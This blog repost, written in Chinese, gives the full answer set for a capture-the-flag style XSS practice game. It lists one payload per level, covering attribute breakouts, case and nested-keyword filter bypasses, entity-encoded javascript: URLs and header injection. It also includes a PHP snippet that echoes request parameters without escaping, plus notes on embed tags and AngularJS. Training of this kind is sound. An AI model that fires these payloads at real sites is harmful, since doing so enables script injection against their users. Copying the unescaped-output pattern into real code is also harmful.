xss小游戲通關-全答案


xss

url:http://test.ctf8.com/level1.php?name=test

小游戲payload:

  1. <script>alert("'test'")</script>
  2. "><script>alert("'test'")</script>
  3. ' onclick=alert("'test'") '
  4. " onclick=alert("'test'") "
  5. "><a href=javascript:alert("'test'")>test</a>
  6. "><scRipt>alert("'test'")</sCript>
  7. "><scriscriptpt>alert("'test'")</scriscriptpt>
  8. javasc&#x72;ipt:alert(1)
  9. javasc&#x72;ipt:alert(1)/* http://test*/
  10. ?keyword=123&t_link=123&t_history=123&t_sort=test" onclick=alert("'test'") type="text
  11. Referer: test" onclick=alert("'test'") type="text
  12. User-Agent:test" onclick=alert("'test'") type="text
  13. Cookie: user=test" onclick=alert("'test'") type="text
  14. 據說是一個圖片中的exif信息,但是網址已失效;
  15. level15.php?src='level1.php?name=<img src=x onerror=alert(1)>'
  16. level16.php?keyword=<img%0asrc=x%0aonerror=alert("'test'")>
  17. level17.php?arg01=a&arg02= onmouseover=alert("'test'")
  18. level18.php?arg01= onmouseover=alert("'test'")&arg02=b
  19. flash xss
  20. flash xss

有些參數可能會隱藏哦:

源碼:get.php

<?php 
echo "<h2>php變量提交get參數:</h2>";
$str = $_GET["name"];
$str2 = $_GET["sex"];
echo "<h2>form表單提交get參數</h2>".'
<center>
<form id=form>
<p>姓名:</p><input name="name"  value="'.'" type="text">
<p>input通過php接收姓名參數:</p><input name="form"  value="'.$str.'" type="text">
<p>直接接收php性別參數</p><input name="form2"  value="'.$str2.'" type="text">
<input type="submit" value="提交"/>
</form>
</center>';
?>
  1. url中能看到的參數:?name=xiaoming&form=&form2=
  2. 沒有在URL中顯示參數:&sex=
  3. DOM不經過服務器的
  • 能顯示在url中的參數中的是form表單中name屬性定義的參數;php定義的需要手動添加,或者鏈接到form表單上;

在線編碼網站:http://monyer.com/demo/monyerjs/

<embed>標簽

embed可以用來插入各種多媒體,格式可以是 Swf、Midi、Wav、AIFF、AU、MP3等等,Netscape及新版的IE 都支持。src為音頻或視頻文件及其路徑,可以是相對路徑或絕對路徑。

支持事件屬性;

彈窗方式:

<embed src=level16.png onmouseover=alert(1) width=100% heigth=100%>

<embed src=son.html onmouseover=alert(1) width=100% heigth=100%>

AngularJS中的ng-include

  1. 是否是在服務器上運行的。(注意不是服務器上,直接打開HTML文件是不行的)
  2. 文件路徑是否對,如果是同一文件夾中,這樣寫:(注意其中的“”中間還有個‘’)
  3. ng-controller="myCtrl"是不是正確,如果沒有對應的controller
  4. 組件<script src="http://apps.bdimg.com/libs/angular.js/1.4.6/angular.min.js"></script>

fath.html內容:

<head>
        <meta charset="utf-8">
        <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>
</head>
<body>
    <div ng-include="'son.html'"></div>
    <!-- 路徑里面必須帶上單引號 -->
    <!-- 注意:如果 ng-controller沒有對應的方法,就不要寫了,會報錯-->
</body>

son.html內容:

Hello world

數據一次完整的編碼解碼過程:


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM